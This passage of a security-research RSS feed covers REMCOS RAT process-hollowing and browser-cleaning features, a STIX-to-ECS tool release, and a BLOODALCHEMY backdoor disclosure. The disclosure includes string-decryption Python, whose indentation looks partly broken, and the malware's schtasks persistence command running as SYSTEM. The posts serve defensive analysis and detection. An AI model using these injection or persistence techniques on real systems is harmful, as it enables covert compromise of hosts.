<p>It starts by creating the target process in suspended mode using the <code>CreateProcessW</code> API and retrieving its thread context using the <code>GetThreadContext</code> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image97.png" alt="0x418217 Creation of target process suspended mode" /></p>
<p>Then, it creates a shared memory using the <code>ZwCreateSection</code> API and maps it into the target process using the <code>ZwMapViewOfSection</code> API, along with the handle to the remote process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image66.png" alt="0x418293 Creating of the shared memory" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image43.png" alt="0x41834C Mapping of the shared memory in the target process" /></p>
<p>The binary is next loaded into the remote process by copying its header and sections into shared memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image90.png" alt="0x41836F Mapping the PE in the shared memory using memmove" /></p>
<p>Relocations are applied if necessary. Then, the PEB <code>ImageBaseAddress</code> is fixed using the <code>WriteProcessMemory</code> API. Subsequently, the thread context is set with a new entry point pointing to the REMCOS entry point, and process execution resumes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image34.png" alt="0x41840B Hijacking process entry point to REMCOS entry point and resuming the process" /></p>
<p>Below is the detection of this process injection technique by our agent:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image54.png" alt="Process injection alert" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image59.png" alt="Process injection process tree" /></p>
<h2>Setting up logging mode</h2>
<p>REMCOS has three logging mode values that can be selected with the <code>logging_mode</code> (index <code>0x28</code>) field of the configuration:</p>
<ul>
<li>0: No logging</li>
<li>1: Start minimized in tray icon</li>
<li>2: Console logging</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image39.png" alt="0x40EFA3 Logging mode configured from settings" /></p>
<p>Setting this field to 2 enables the console, even when process injection is enabled, and exposes additional information.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image71.png" alt="REMCOS console displayed while injected into iexplore.exe" /></p>
<h2>Cleaning browsers</h2>
<p>When the <code>enable_browser_cleaning_on_startup_flag</code> (index <code>0x2B</code>) is enabled,  REMCOS will delete cookies and login information from the installed web browsers on the host.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image5.png" alt="0x40F1CC Calling browser cleaning feature when enabled in the configuration" /></p>
<p>According to the <a href="https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf">official documentation</a> the goal of this capability is to increase the system security against password theft:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image76.png" alt="" /></p>
<p>Currently, the supported browsers are Internet Explorer, Firefox, and Chrome.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image7.png" alt="0x40C00C Supported browsers for cleaning features" /></p>
<p>The cleaning process involves deleting cookies and login files from browsers' known directory paths using the <code>FindFirstFileA</code>, <code>FindNextFileA</code>, and <code>DeleteFileA</code> APIs:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image56.png" alt="0x40BD37 Cleaning Firefox cookies 1/2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image74.png" alt="0x40BD37 Cleaning Firefox cookies 2/2" /></p>
<p>When the job is completed, REMCOS prints a message to the console.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image96.png" alt="REMCOS printing success message after cleaning browsers" /></p>
<p>It's worth mentioning two related fields in the configuration:</p>
<ul>
<li><code>enable_browser_cleaning_only_for_the_first_run_flag</code> (index <code>0x2C</code>)</li>
<li><code>browser_cleaning_sleep_time_in_minutes</code> (index <code>0x2D</code>)</li>
</ul>
<p>The <code>browser_cleaning_sleep_time_in_minutes</code> configuration value determines how much time REMCOS will sleep before performing the job.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image13.png" alt="0x40C162 Sleeping before performing browser cleaning job" /></p>
<p>When <code>enable_browser_cleaning_only_for_the_first_run_flag</code> is enabled, the cleaning will occur only at the first run of REMCOS. Afterward, the <code>HKCU/SOFTWARE/{mutex}/FR</code> registry value is set.</p>
<p>On subsequent runs, the function directly returns if the value exists and is set in the registry.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image67.png" alt="" /></p>
<p>That’s the end of the first article. The second part will cover the second half of REMCOS' execution flow, starting from its watchdog to the first communication with its C2.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/Security Labs Images 36.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[STIXy Situations: ECSaping your threat data]]></title>
            <link>https://www.elastic.co/pt/security-labs/stixy-situations-ecsaping-your-threat-data</link>
            <guid>stixy-situations-ecsaping-your-threat-data</guid>
            <pubDate>Fri, 09 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Structured threat data is commonly formatted using STIX. To help get this data into Elasticsearch, we’re releasing a Python script that converts STIX to an ECS format to be ingested into your stack.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Organizations that use threat indicators or observables consume, create, and/or (ideally) publish threat data. This data can be used internally or externally as information or intelligence to inform decision-making and event prioritization.</p>
<p>While there are several formats for this information to be structured into, the de facto industry standard is <a href="https://oasis-open.github.io/cti-documentation/stix/intro">Structured Threat Information Expression (STIX)</a>. STIX is managed by the <a href="https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=cti">OASIS Cyber Threat Intelligence Technical Committee</a> and enables organizations to share threat data in a standard and machine-readable format.</p>
<p>At Elastic, we developed the <a href="https://www.elastic.co/pt/guide/en/ecs/current/ecs-reference.html">Elastic Common Schema (ECS)</a> as a data normalization capability. “[ECS] is an open source specification, developed with support from the Elastic user community. ECS defines a common set of fields for storing event data in Elasticsearch, such as logs and metrics.” In April of 2023, <a href="https://www.elastic.co/pt/blog/ecs-elastic-common-schema-otel-opentelemetry-announcement">Elastic contributed ECS</a> to the <a href="https://opentelemetry.io/docs/concepts/semantic-conventions/">OpenTelemetry Semantic Conventions (OTel)</a> as a commitment to the joint development of an open schema.</p>
<p>The security community shares threat data in the STIX format, so to store that data in Elasticsearch for analysis and threat detection [<a href="https://www.elastic.co/pt/guide/en/security/current/threat-intel-hash-indicator-match.html">1</a>] [<a href="https://www.elastic.co/pt/guide/en/security/current/threat-intel-ip-address-indicator-match.html">2</a>] [<a href="https://www.elastic.co/pt/guide/en/security/current/threat-intel-url-indicator-match.html">3</a>] [<a href="https://www.elastic.co/pt/guide/en/security/current/threat-intel-windows-registry-indicator-match.html">4</a>], we created a tool that converts STIX documents into ECS and outputs the threat data either as a file or directly into Elasticsearch indices. If this was a challenge for us, it was a challenge for others - therefore, we decided to release a version of the tool.</p>
<p>This tool uses the <a href="https://www.elastic.co/pt/licensing/elastic-license">Elastic License 2.0</a> and is available for download <a href="https://github.com/elastic/labs-releases/tree/main/tools/stix-to-ecs">here</a>.</p>
<h2>Getting started</h2>
<p>This project will take a STIX 2.x formatted JSON document and create an ECS version. There are three output options: STDOUT as JSON, an NDJSON file, and/or directly to an Elasticsearch cluster.</p>
<h3>Prerequisites</h3>
<p>The STIX 2 ECS project requires Python 3.10+ and the <a href="https://pypi.org/project/stix2/">stix2</a>, <a href="https://pypi.org/project/elasticsearch/">Elasticsearch</a>, and <a href="https://pypi.org/project/getpass4/">getpass</a> modules.</p>
<p>If exporting to Elasticsearch, you will need the host information and authentication credentials. API authentication is not yet implemented.</p>
<h3>Setup</h3>
<p>Create a virtual environment and install the required prerequisites.</p>
<pre><code>git clone https://github.com/elastic/labs-releases.git
cd tools/stix2ecs
python -m venv /path/to/virtual/environments/stix2ecs
source /path/to/virtual/environments/stix2ecs/bin/activate
python -m pip install -r requirements.txt
</code></pre>
<h2>Operation</h2>
<p>The input is a STIX 2.x JSON document (or a folder of JSON documents); the output defaults to STDOUT, with an option to create an NDJSON file and/or send to an Elasticsearch cluster.</p>
<pre><code>stix_to_ecs.py [-h] -i INPUT [-o OUTPUT] [-e] [--index INDEX] [--url URL] \
[--user USER] [-p PROVIDER] [-r]
</code></pre>
<p>By default, the ECS file is named the same as the STIX file input but with <code>.ecs.ndjson</code> appended.</p>
<h3>Arguments</h3>
<p>The script has several arguments, the only mandatory field is <code>-i</code> for the input. By default, the script will output the NDJSON document to STDOUT.</p>
<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-h</td>
<td>displays the help menu</td>
</tr>
<tr>
<td>-i</td>
<td>specifies the input STIX document (mandatory)</td>
</tr>
<tr>
<td>-o</td>
<td>specifies the output ECS document (optional)</td>
</tr>
<tr>
<td>-p</td>
<td>defines the ECS provider field (optional)</td>
</tr>
<tr>
<td>-r</td>
<td>recursive mode to convert multiple STIX documents (optional)</td>
</tr>
<tr>
<td>-e</td>
<td>specifies the Elasticsearch output mode (optional)</td>
</tr>
<tr>
<td>--index</td>
<td>defines the Elasticsearch Index, requires <code>-e</code> (optional)</td>
</tr>
<tr>
<td>--url</td>
<td>defines the Elasticsearch URL, requires <code>-e</code> (optional)</td>
</tr>
<tr>
<td>--user</td>
<td>defines the Elasticsearch username, requires <code>-e</code> (optional)</td>
</tr>
</tbody>
</table>
<h2>Examples</h2>
<p>There are two sample files located in the <code>test-inputs/</code> directory. One is from <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/information-sharing/automated-indicator-sharing-ais">CISA</a> (Cybersecurity &amp; Infrastructure Security Agency), and one is from <a href="https://github.com/OpenCTI-Platform/opencti">OpenCTI</a> (an open source threat intelligence platform).</p>
<h3>STIX file input to STDOUT</h3>
<p>This will output the STIX document to STDOUT in ECS format.</p>
<pre><code>python stix_to_ecs.py -i test-inputs/cisa_sample_stix.json | jq

[
  {
    &quot;threat&quot;: {
      &quot;indicator&quot;: {
        &quot;file&quot;: {
          &quot;name&quot;: &quot;123.ps1&quot;,
          &quot;hash&quot;: {
            &quot;sha256&quot;: &quot;ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44&quot;
          }
        },
        &quot;type&quot;: &quot;file&quot;,
        &quot;description&quot;: &quot;Simple indicator of observable {ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44}&quot;,
        &quot;first_seen&quot;: &quot;2023-11-21T18:57:25.000Z&quot;,
        &quot;provider&quot;: &quot;identity--b3bca3c2-1f3d-4b54-b44f-dac42c3a8f01&quot;,
        &quot;modified_at&quot;: &quot;2023-11-21T18:57:25.000Z&quot;,
        &quot;marking&quot;: {
          &quot;tlp&quot;: &quot;clear&quot;
        }
      }
    }
  },
...
</code></pre>
<h3>STIX file input to ECS file output</h3>
<p>This will create a folder called <code>ecs</code> in the present directory and write the ECS file there.</p>
<pre><code>python python stix_to_ecs.py -i test-inputs/cisa_sample_stix.json -o ecs

cat ecs/cisa_sample_stix.ecs.ndjson | jq
{
  &quot;threat&quot;: {
    &quot;indicator&quot;: {
      &quot;file&quot;: {
        &quot;name&quot;: &quot;123.ps1&quot;,
        &quot;hash&quot;: {
          &quot;sha256&quot;: &quot;ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44&quot;
        }
      },
      &quot;type&quot;: &quot;file&quot;,
      &quot;description&quot;: &quot;Simple indicator of observable {ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44}&quot;,
      &quot;first_seen&quot;: &quot;2023-11-21T18:57:25.000Z&quot;,
      &quot;provider&quot;: &quot;identity--b3bca3c2-1f3d-4b54-b44f-dac42c3a8f01&quot;,
      &quot;modified_at&quot;: &quot;2023-11-21T18:57:25.000Z&quot;,
      &quot;marking&quot;: {
        &quot;tlp&quot;: &quot;clear&quot;
      }
    }
  }
}
...
</code></pre>
<h3>STIX file input to ECS file output, defining the Provider field</h3>
<p>The provider field is commonly a GUID in the STIX document. To make it more user-friendly, you can use the <code>-p</code> argument to define the <code>threat.indicator.provider</code> field.</p>
<pre><code>python stix_to_ecs.py -i test-inputs/cisa_sample_stix.json -o ecs -p &quot;Elastic Security Labs&quot;

cat ecs/cisa_sample_stix.ecs.ndjson | jq
{
  &quot;threat&quot;: {
    &quot;indicator&quot;: {
      &quot;file&quot;: {
        &quot;name&quot;: &quot;123.ps1&quot;,
        &quot;hash&quot;: {
          &quot;sha256&quot;: &quot;ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44&quot;
        }
      },
      &quot;type&quot;: &quot;file&quot;,
      &quot;description&quot;: &quot;Simple indicator of observable {ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44}&quot;,
      &quot;first_seen&quot;: &quot;2023-11-21T18:57:25.000Z&quot;,
      &quot;provider&quot;: &quot;Elastic Security Labs&quot;,
      &quot;modified_at&quot;: &quot;2023-11-21T18:57:25.000Z&quot;,
      &quot;marking&quot;: {
        &quot;tlp&quot;: &quot;clear&quot;
      }
    }
  }
}
...
</code></pre>
<h3>STIX directory input to ECS file outputs</h3>
<p>If you have a directory of STIX documents, you can use the <code>-r</code> argument to recursively search through the directory and write the ECS documents to the output directory.</p>
<pre><code>python stix_to_ecs.py -ri test-inputs -o ecs
</code></pre>
<h3>STIX file input to Elasticsearch output</h3>
<p>To output to Elasticsearch, you can use either Elastic Cloud or a local instance. Local Elasticsearch will use port <code>9200</code> and Elastic Cloud will use port <code>443</code>. By default, a valid TLS session to Elasticsearch is required.</p>
<p>First, create an index if you don't already have one. In this example, we’re creating an index called <code>stix2ecs</code>, but the index name isn’t relevant.</p>
<pre><code>curl -u {username} -X PUT &quot;https://elasticsearch:port/stix2ecs?pretty&quot;

{
  &quot;acknowledged&quot; : true,
  &quot;shards_acknowledged&quot; : true,
  &quot;index&quot; : &quot;stix2ecs&quot;
}
</code></pre>
<p>Next, define the Elasticsearch output options.</p>
<pre><code>python stix_to_ecs.py -i test-inputs/cisa_sample_stix.json -e --url https://elasticsearch:port --user username --index stix2ecs
</code></pre>
<p>If you’re storing the data in Elasticsearch for use in another platform, you can view the indicators using cURL.</p>
<pre><code>curl -u {username} https://elasticsearch:port/stix2ecs/_search?pretty

{
  &quot;took&quot; : 2,
  &quot;timed_out&quot; : false,
  &quot;_shards&quot; : {
    &quot;total&quot; : 1,
    &quot;successful&quot; : 1,
    &quot;skipped&quot; : 0,
    &quot;failed&quot; : 0
  },
  &quot;hits&quot; : {
    &quot;total&quot; : {
      &quot;value&quot; : 3,
      &quot;relation&quot; : &quot;eq&quot;
    },
    &quot;max_score&quot; : 1.0,
    &quot;hits&quot; : [
      {
        &quot;_index&quot; : &quot;stix2ecs&quot;,
        &quot;_id&quot; : &quot;n2lt8IwBahlUtp0hzm9i&quot;,
        &quot;_score&quot; : 1.0,
        &quot;_source&quot; : {
          &quot;threat&quot; : {
            &quot;indicator&quot; : {
              &quot;file&quot; : {
                &quot;name&quot; : &quot;123.ps1&quot;,
                &quot;hash&quot; : {
                  &quot;sha256&quot; : &quot;ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44&quot;
                }
              },
              &quot;type&quot; : &quot;file&quot;,
              &quot;description&quot; : &quot;Simple indicator of observable {ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44}&quot;,
              &quot;first_seen&quot; : &quot;2023-11-21T18:57:25.000Z&quot;,
              &quot;provider&quot; : &quot;identity--b3bca3c2-1f3d-4b54-b44f-dac42c3a8f01&quot;,
              &quot;modified_at&quot; : &quot;2023-11-21T18:57:25.000Z&quot;,
              &quot;marking&quot; : {
                &quot;tlp&quot; : &quot;clear&quot;
              }
            }
          }
        }
      }
...
</code></pre>
<p>If you’re using Kibana, you can <a href="https://www.elastic.co/pt/guide/en/kibana/current/data-views.html">create a Data View</a> for your <code>stix2ecs</code> index to view the ingested indicators.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/stixy-situations-ecsaping-your-threat-data/image1.png" alt="STIX2ECS data in Kibana" title="STIX2ECS data in Kibana" /></p>
<p>Finally, you can use this as an indicator source for <a href="https://www.elastic.co/pt/guide/en/security/current/prebuilt-rule-1-0-2-threat-intel-indicator-match.html">Indicator Match rules</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/stixy-situations-ecsaping-your-threat-data/image2.png" alt="Indicator Match rule created with STIX2ECS data" title="Indicator Match rule created with STIX2ECS data" /></p>
<h2>Summary</h2>
<p>We hope this project helps your organization analyze and operationalize your threat data. If you’re new to the Elastic Common Schema, you can learn more about that <a href="https://www.elastic.co/pt/guide/en/ecs/current/index.html">here</a>.</p>
<p>As always, please feel free to open an <a href="https://github.com/elastic/labs-releases/issues">issue</a> with any questions, comments, concerns, or complaints.</p>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/pt/security-labs/">www.elastic.co/security-labs/</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/stixy-situations-ecsaping-your-threat-data/photo-edited-07@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Disclosing the BLOODALCHEMY backdoor]]></title>
            <link>https://www.elastic.co/pt/security-labs/disclosing-the-bloodalchemy-backdoor</link>
            <guid>disclosing-the-bloodalchemy-backdoor</guid>
            <pubDate>Fri, 13 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>BLOODALCHEMY is an x86 backdoor written in C and found as shellcode injected into a signed benign process. It was discovered in our analysis and is part of the REF5961 intrusion set, which you can read about <a href="https://www.elastic.co/pt/security-labs/introducing-the-ref5961-intrusion-set">here</a>.</p>
<p>BLOODALCHEMY requires a specific loader to be run because it isn't reflexive (it doesn’t have the capability to load and execute by itself). Additionally, BLOODALCHEMY isn’t compiled as position independent (when loaded at a different base address than the preferred one the binary has to be patched to take into account the new “position”).</p>
<p>In our analysis, the signed benign process was previously sideloaded with a malicious DLL. The DLL was missing from the sample data but was likely the container and the loader of the BLOODALCHEMY shellcode.</p>
<p>We believe from our research that the malware is part of a bigger toolset and is still in active development based on its current lack of capabilities, enabled debug logging of exceptions, and the existence of test strings used for persistence service setup.</p>
<h2>Key takeaways</h2>
<ul>
<li>BLOODALCHEMY is likely a new backdoor and is still in active development</li>
<li>BLOODALCHEMY abuses a legitimate binary for loading</li>
<li>BLOODALCHEMY has multiple running modes, persistence mechanisms, and communication options</li>
</ul>
<h2>Initial execution</h2>
<p>During the initial execution phase, the adversary deployed a benign utility, <code>BrDifxapi.exe</code>, which is vulnerable to DLL side-loading. When deploying this vulnerable utility the adversary could side-load the unsigned BLOODALCHEMY loader (<code>BrLogAPI.dll</code>) and inject shellcode into the current process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image4.png" alt="Command-line used to execute the BLOODALCHEMY loader" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image15.png" alt="Fake BrLogApi.dll, part of BLOODALCHEMY toolset, sideloaded by BrDifxapi.exe" /></p>
<p><code>BrDifxapi.exe</code> is a binary developed by the Japanese company <a href="https://global.brother/en/gateway">Brother Industries</a> and the version we observed has a revoked signature.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image6.png" alt="BrDifxapi.exe with revoked signature" /></p>
<p>The legitimate DLL named <code>BrLogApi.dll</code> is an unsigned DLL also by Brother Industries. BLOODALCHEMY uses the same DLL name.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image25.jpg" alt="The legitimate BrLogApi.dll is an unsigned DLL file" /></p>
<h2>Code analysis</h2>
<h3>Data Obfuscation</h3>
<p>To hide its strings the BLOODALCHEMY malware uses a classic technique where each string is encrypted, preceded by a single-byte decryption key, and finally, all concatenated together to form what we call an encrypted blob.</p>
<p>While the strings are not null-terminated, the offset from the beginning of the blob, the string, and the size are passed as a parameter to the decryption function. Here is the encrypted blob format:</p>
<p><em>Blob = Key0 :EncryptedString0 + Key1:EncryptedString1 + ... + KeyN:EncryptedStringN</em></p>
<p>The implementation in Python of the string decryption algorithm is given below:</p>
<pre><code class="language-Python">def decrypt_bytes(encrypted_data: bytes, offset: int, size: int) -&gt; bytes:
    decrypted_size = size - 1
    decrypted_data = bytearray(decrypted_size)

    encrypted_data_ = encrypted_data[offset : offset + size]
    key = encrypted_data_[0]

    i = 0
    while i != decrypted_size:
            decrypted_data[i] = key ^ encrypted_data_[i + 1]
           key = (key + ((key &lt;&lt; ((i % 5) + 1)) | (key &gt;&gt; (7 - (i % 5))))) &amp; 0xFF
           i += 1

    return bytes(decrypted_data)
</code></pre>
<p>The strings contained in the configuration blob are encrypted using the same scheme, however the ids (or offsets) of each string are obfuscated; it adds two additional layers of obfuscation that must be resolved. Below, we can resolve additional obfuscation layers to decrypt strings from the configuration:</p>
<pre><code class="language-Python">def decrypt_configuration_string(id: int) -&gt; bytes:
        return decrypt_bytes(
                *get_configuration_encrypted_string(
                        get_configuration_dword(id)))
</code></pre>
<p>Each function is given below:</p>
<p><strong>The <code>get_configuration_dword</code> function</strong></p>
<pre><code class="language-Python">def get_configuration_dword(id: int) -&gt; int:
        b = ida_bytes.get_bytes(CONFIGURATION_VA + id, 4)
        return b[0] + (b[1] + (b[2] + (b[3] &lt;&lt; 8) &lt;&lt; 8) &lt;&lt; 8)
</code></pre>
<p><strong>The <code>get_configuration_encrypted_strng</code> function</strong></p>
<pre><code class="language-Python">def get_configuration_encrypted_string(id: int) -&gt; tuple[int, int]:
         ea = CONFIGURATION_VA + id

        v2 = 0
        i = 0

        while i &lt;= 63:
            c = ida_bytes.get_byte(ea)

            v6 = (c &amp; 127) &lt;&lt; i
            v2 = (v2 | v6) &amp; 0xFFFFFFFF

            ea += 1

            if c &gt;= 0:
                break
            
            i += 7
            return ea, v2
</code></pre>
<h3>Persistence</h3>
<p>BLOODALCHEMY maintains persistence by copying itself into its persistence folder with the path suffix <code>\Test\test.exe</code>,</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image24.png" alt="BLOODALCHEMY folder and binary name" /></p>
<p>The root directory of the persistence folder is chosen based on its current privilege level, it can be either:</p>
<ul>
<li><code>%ProgramFiles%</code></li>
<li><code>%ProgramFiles(x86)%</code></li>
<li><code>%Appdata%</code></li>
<li><code>%LocalAppData%\Programs</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image10.png" alt="BLOODALCHEMY root persistence folder choice" /></p>
<p>Persistence is achieved via different methods depending on the configuration:</p>
<ul>
<li>As a service</li>
<li>As a registry key</li>
<li>As a scheduled task</li>
<li>Using <a href="https://learn.microsoft.com/en-us/windows/win32/learnwin32/what-is-a-com-interface-">COM</a> interfaces</li>
</ul>
<p>To identify the persistence mechanisms, we can use the uninstall command to observe the different ways that the malware removes persistence.</p>
<p>As a service named <code>Test</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image11.png" alt="BLOODALCHEMY deleting previously installed service" /></p>
<p>As a registry key at <code>CurrentVersion\Run</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image13.png" alt="BLOODALCHEMY deleting “CurrentVersion\Run” persistence registry key" /></p>
<p>As a scheduled task, running with SYSTEM privilege via <code>schtask.exe</code>:</p>
<pre><code>b'schtasks.exe /CREATE /SC %s /TN &quot;%s&quot; /TR &quot;\'%s\'&quot; /RU &quot;NT AUTHORITY\\SYSTEM&quot; /Fb'
</code></pre>
<p>Using the <code>TaskScheduler::ITaskService</code> COM interface. The intent of this persistence mechanism is currently unknown.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image29.png" alt="Instantiation of the ITaskService COM interface" /></p>
<h3>Running modes</h3>
<p>The malware has different running modes depending on its configuration:</p>
<ul>
<li>Within the main or separate process thread</li>
<li>Create a Windows process and inject a shellcode into it</li>
<li>As a service</li>
</ul>
<p>The malware can either work within the main process thread.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image5.png" alt="Capability function called within the main function" /></p>
<p>Or run in a separate thread.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image12.png" alt="Capability function called in a new thread" /></p>
<p>Or create a Windows process from a hardcoded list and inject a shellcode passed by parameter to the entry point using the <a href="https://sevrosecurity.com/2020/04/13/process-injection-part-2-queueuserapc/">WriteProcessMemory+QueueUserAPC+ResumeThread</a> method.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image3.png" alt="Process injection running method" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image21.png" alt="List of target binaries for process injection" /></p>
<p>The shellcode is contained in the parameters we call <code>p_interesting_data</code>. This parameter is actually a pointer to a structure containing both the malware configuration and executable binary data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image18.png" alt="Entrypoint prototype" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image23.png" alt="Provided shellcode copied in the remote process" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image20.png" alt="Final part of the process injection procedure" /></p>
<p>Or install and run itself as a service. In this scenario, the service name and description will be <code>Test</code> and <code>Digital Imaging System</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image26.png" alt="Name and description strings used to install the BLOODALCHEMY service" /></p>
<p>Also when running as a service and started by the service manager the malware will masquerade itself as stopped by first setting the service status to “SERVICE_RUNNING” then setting the status to “SERVICE_STOPPED” while in fact the malware is still running.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image30.png" alt="BLOODALCHEMY’s service entry point masquerading service status" /></p>
<h3>Communication</h3>
<p>The malware communicates using either the HTTP protocol, named pipes, or sockets.</p>
<p>When using the HTTP protocol the malware requests the following URI <code>/Inform/logger/.</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image27.png" alt="URI used to connect to C2" /></p>
<p>In this scenario, BLOODALCHEMY will try to use any proxy server found in the registry key <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image28.png" alt="Host proxy information gathered from registry" /></p>
<p>We did not uncover any C2 infrastructure with our sample, but the URL could look something like this: <code>https://malwa[.]re/Inform/logger</code></p>
<p>When using a named pipe, the name is randomly generated using the current PID as seed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image9.png" alt="Random pipe name generation seeded with current PID" /></p>
<p>While waiting for a client to connect to this named pipe the malware scans the running processes and checks that its parent process is still running, this may be to limit access to the named pipe. That said, the malware is not checking that the pipe client is the correct parent process, only that the parent process is running. This introduces flawed logic in protecting the named pipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image16.png" alt="Retrieve parent PID" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image7.png" alt="Flawed check for restricting pipe access to parent process" /></p>
<p>From the malware strings and imports we know that the malware can also operate using TCP/UDP sockets.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image17.png" alt="Usage of the socket API in one of the implementations of the “communication” interface" /></p>
<p>While we haven’t made any conclusions about their usage, we list all the protocols found in the encrypted strings.</p>
<ul>
<li>DNS://</li>
<li>HTTP://</li>
<li>HTTPS://</li>
<li>MUX://</li>
<li>UDP://</li>
<li>SMB://</li>
<li>SOCKS5://</li>
<li>SOCKS4://</li>
<li>TCP://</li>
</ul>
<p>For all protocols the data can be encrypted, <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6">LZNT1 compressed</a>, and/or Base64-encoded.</p>
<h3>Commands</h3>
<p>The malware only contains a few commands with actual effects:</p>
<ul>
<li>Write/overwrite the malware toolset</li>
